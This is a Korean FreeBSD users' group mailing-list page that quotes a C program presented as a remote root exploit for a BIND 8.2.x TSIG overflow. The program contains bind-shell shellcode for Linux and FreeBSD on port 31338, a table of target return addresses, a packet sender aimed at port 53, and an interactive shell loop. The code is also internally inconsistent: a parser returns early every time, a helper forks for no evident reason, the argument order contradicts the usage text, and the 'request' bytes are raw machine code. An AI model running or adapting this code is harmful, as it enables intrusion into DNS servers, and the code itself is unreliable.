Korea FreeBSD Users Group News, Internal, Projects, Home
Software, Support, Documentation

BIND ¹®Á¦ ~_~



[ ³¯Â¥¼ø »öÀÎ ] [ ´ñ±Û¼ø »öÀÎ ] [ ÃÖ»óÀ§ »öÀÎ]

[ÀÌÀü ±Û] [´ÙÀ½ ±Û] [ÀÌÀü ´ñ±Û] [´ÙÀ½ ´ñ±Û]


>/*
> * Implements TSIG buffer mismanagement overflow for incorrect signatures. That
> * one was really nice bug!
> * Thanks NAI for nice bug!
> */
>#include
>#include
>#include
>#include
>#include
>#include
>#include
>#include
>#include
>#include
>
>#ifndef max
>#define max(x,y) (((x)>(y))?(x):(y))
>#endif
>
>#define SHELL_OFFSET_1 26
>#define SHELL_OFFSET_2 31
>#define BIND_PKT_OFF 26 /* offset from beginning of packet */
>#define BIND_OKT_SZ 14 /* rr */
>#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
>#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
>#define BIND_OFF_03 (SHELL_OFFSET_1*2)
>#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)
>
>char dns_packet[] =
>/* TSIG bind req, \xe8 used as field separator. */
>"\x31\xc0\x48\x50\x50\x31\xdb\x8d\x05\x0d\x00\x00\x00\xcd\x80\x83"
>"\xc4\x08\x3d\x04\x03\x02\x01\x7c\x05\xe8TSIG\xe8NAME\xe8SIGNATURE\xe8RSA\0";
>
>/* zeroes in all shellcodes are allowed - we encode them anyway.. */
>char linux_shellcode[] = /* modifyed Aleph1 linux shellcode to
>* bind to tcp port 31338. hey aleph1
>* :) */
>"\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"
>"\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"
>"\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"
>"\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"
>"\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"
>"\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"
>"\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";
>
>char bsd_shellcode[] =
>/* freebsd bind shellcode by LaMerZ , thnx :) */
>"\xeb\x37\x5e\x6a\x11\x6a\x02\x6a\x02\x6a\x66\x8d\x05\x61\x00\x00"
>"\x00\xcd\x80\x89\xc2\x6a\x10\x89\xf0\x50\x31\xc0\x50\x68\x24\x10"
>"\x00\x00\x8d\x46\x0f\x50\x52\x68\x88\x00\x00\x00\x8d\x05\x85\x00"
>"\x00\x00\xcd\x80\x83\xc4\x1c\xeb\xdc\xe8\xc4\xff\xff\xff\x00\x02"
>"\x00\x35\xa1\x45\x03\x96\xe8\xb1\xff\xff\xff/bin/sh\0";
>
>struct remote {
>char *osname;
>char *bindver;
>unsigned long ret; /* return addr */
>unsigned long otebp; /* offset ot %ebp,bind specific */
>char *shellcode;
>} remote[] = {
>{
>"Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode
>},
>{
>"Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode
>},
>{
>"Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode
>},
>{
>"Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode
>},
>{
>"Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode
>},
>{
>"FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
>},
>{
>"FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
>},
>{
>"FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
>},
>{
>NULL, NULL, 0, 0
>}
>};
>
>void
>usage_func(char *pname)
>{
>int i;
>
>fprintf(stderr, "Usage: %s remote_addr domainname target_id\n", pname);
>fprintf(stderr, "Targets:\n");
>for (i = 0; remote[i].osname; i++)
>fprintf(stderr, " %d - %s (%s)\n", i, remote[i].osname, remote[i].bindver);
>fprintf(stderr, "\n");
>fprintf(stderr, " Example usage:\n");
>fprintf(stderr, "$ host -t ns domain.com\n");
>fprintf(stderr, "domain.com name server dns1.domain.com\n");
>fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0\n");
>fprintf(stderr, " [..expl output..]\n\n");
>exit(1);
>}
>
>
>int
>set_ptr(char *buff, int offset, unsigned long val, int s)
>{
>char copy_buff[1024];
>int revval;
>
>memcpy(copy_buff, buff, 1024);
>revval = buff[SHELL_OFFSET_1];
>/* increment record usage count */
>revval += BIND_OFF_01;
>if (s)
>if (!fork())
>/* simply copy value to offset */
>memcpy(©_buff[offset], &val, sizeof(val));
>memcpy(buff, copy_buff, sizeof(copy_buff));
>return 0;
>}
>
>unsigned long
>Resolve(char *h)
>{
>struct in_addr q;
>struct hostent *z;
>
>if ((inet_aton(h, &q)) == 0) {
>z = gethostbyname(h);
>
>if (!z)
>return -1;
>
>(void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);
>}
>return q.s_addr;
>}
>
>/* pull out a compressed query name */
>char *
>dnsprintflabel(char *s, char *buf, char *p)
>{
>unsigned short i, len;
>char *b = NULL;
>len = (unsigned short) *(p++);
>i = len + BIND_PKT_OFF;
>/* invalid length? */
>if (i)
>return NULL;
>while (len) {
>while (len >= 0xC0) {
>if (!b)
>b = p + 1;
>p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC000);
>len = (unsigned short) *(p++);
>}
>for (i = 0; i < len; i++)
>*(s++) = *(p++);
>*(s++) = '.';
>len = (unsigned short) *(p++);
>}
>*(s++) = 0;
>if (b)
>return (b);
>return (p);
>}
>
>int
>proxyloop(int s)
>{
>char snd[1024], rcv[1024];
>fd_set rset;
>int maxfd, n;
>sleep(1);
>printf("Entering proxyloop..\n");
>strcpy(snd, "cd /; uname -a; pwd; id;\n");
>write(s, snd, strlen(snd));
>for (;;) {
>FD_SET(fileno(stdin), &rset);
>FD_SET(s, &rset);
>maxfd = max(fileno(stdin), s) + 1;
>select(maxfd, &rset, NULL, NULL, NULL);
>if (FD_ISSET(fileno(stdin), &rset)) {
>bzero(snd, sizeof(snd));
>fgets(snd, sizeof(snd) - 2, stdin);
>write(s, snd, strlen(snd));
>}
>if (FD_ISSET(s, &rset)) {
>bzero(rcv, sizeof(rcv));
>if ((n = read(s, rcv, sizeof(rcv))) == 0)
>exit(0);
>if (n < 0) {
>return -3;
>}
>fputs(rcv, stdout);
>}
>}
>return 0;
>}
>
>int
>main(int argc, char *argv[])
>{
>HEADER *dnsheader;
>struct sockaddr_in to;
>char expl_buffer[PACKETSZ + 8192];
>int off, i, x;
>char ch, *remote_addr = NULL, *dmn = NULL;
>char *walker;
>unsigned char *shellcode;
>int align = 0;
>unsigned long remote_ip, addr;
>int saved_len_1, saved_len_2;
>int type = -1;
>int fd, fd2;
>
>if (argc != 4) {
>usage_func(argv[0]);
>}
>dmn = strdup(argv[1]);
>remote_addr = strdup(argv[2]);
>type = atoi(argv[3]);
>
>if (type < 0 || !remote_addr || !dmn) {
>usage_func(argv[0]);
>}
>printf(" [+] Trying to resolve %s ...\n", remote_addr);
>remote_ip = Resolve(remote_addr);
>
>if (remote_ip == -1) {
>fprintf(stderr, " [-] failed to resolve %s\n", remote_addr);
>exit(1);
>} else {
>printf(" [+] %s -> %#lx...\n", remote_addr, remote_ip);
>}
>/* block signal to allow these signals in bindshell */
>signal(SIGHUP, SIG_IGN);
>signal(SIGCHLD, SIG_IGN); /* well.. */
>signal(SIGINT, SIG_IGN);
>
>printf(" [+] Remote OS %s, using domain %s\n", remote[type].osname, dmn);
>printf(" [+] Offset: 0x%08x, bind specific value: %d\n", remote[type].ret, remote[type].otebp);
>shellcode = (unsigned char *) malloc(PACKETSZ + 8192);
>memset(shellcode, 0x90, PACKETSZ);
>
>addr = remote[type].ret;
>
>for (i = 0; i < sizeof(dns_packet); i++)
>shellcode[i] = dns_packet[i];
>
>if (i > 0) {
>saved_len_1 = i;
>}
>for (x = 0; x < sizeof(linux_shellcode); i++, x++)
>shellcode[i] = linux_shellcode[x];
>
>if (i) {
>saved_len_2 = i;
>}
>for (x = 0; x < sizeof(bsd_shellcode); i++, x++)
>shellcode[i] = bsd_shellcode[x];
>
>/* encode offset */
>addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;
>shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;
>shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;
>shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;
>shellcode[SHELL_OFFSET_1] = (addr) & 0xff;
>addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;
>shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;
>shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;
>shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;
>shellcode[SHELL_OFFSET_2] = (addr) & 0xff;
>
>printf(" [+] shellcode length: %d\n", i);
>/*
>* now build packet
>* set pointer to itself. dont modify BIND_OFF_02, it was
>* bruteforced.. and worked with every bind i sploited.
>*/
>set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
>/* setup tsig info */
>set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
>/* count of records */
>if (i > (SHELL_OFFSET_2 - 10)) {
>set_ptr(shellcode, BIND_OFF_03, i, 0);
>} else {
>i += (SHELL_OFFSET_2 / 2);
>i -= (SHELL_OFFSET_2 % 2); /* thnx enr1qe! :) */
>set_ptr(shellcode, BIND_OFF_03, i, 0);
>}
>/* store return ADDR !! */
>set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);
>
>/* copy and rebuild packet depended stuff */
>memcpy(expl_buffer, shellcode, PACKETSZ);
>dnsheader = (HEADER *) & expl_buffer;
>memset(dnsheader, 0, sizeof(HEADER));
>dnsheader->id = htons(getpid());
>dnsheader->qr = 1;
>dnsheader->aa = 1;
>/* tsig query! */
>dnsheader->opcode = QUERY;
>dnsheader->qdcount = htons(1);
>dnsheader->arcount = htons(1);
>/*
>* encode packet ...
>*/
>dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (char *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
>walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);
>PUTSHORT(T_SIG, walker);
>
>/*
>* packet is built, connect and sent shellcode. what can be easier?
>* :)
>*/
>if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
>perror("socket");
>exit(1);
>}
>memset(&to, 0, sizeof(to));
>to.sin_family = AF_INET;
>to.sin_port = htons(53);
>to.sin_addr.s_addr = remote_ip;
>
>if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, sizeof(struct sockaddr)) != PACKETSZ)) {
>perror("sendto");
>exit(1);
>}
>/* attempt to connect to bindshell on port 31338 */
>
>if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
>perror("socket");
>exit(1);
>}
>/* linux & freebsd shellcodes bindport is same, so dont even check. */
>to.sin_port = htons(31338);
>
>if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0) {
>perror("connect");
>exit(1);
>}
>proxyloop(fd2);
>}

[ ³¯Â¥¼ø »öÀÎ ] [ ´ñ±Û¼ø »öÀÎ ] [ ÃÖ»óÀ§ »öÀÎ]

Copyright © 1998-2005 Korea FreeBSD Users Group.
All rights reserved. webmaster at kr.FreeBSD.org
$Date: 2002/03/26 13:31:20 $
Powered by FreeBSD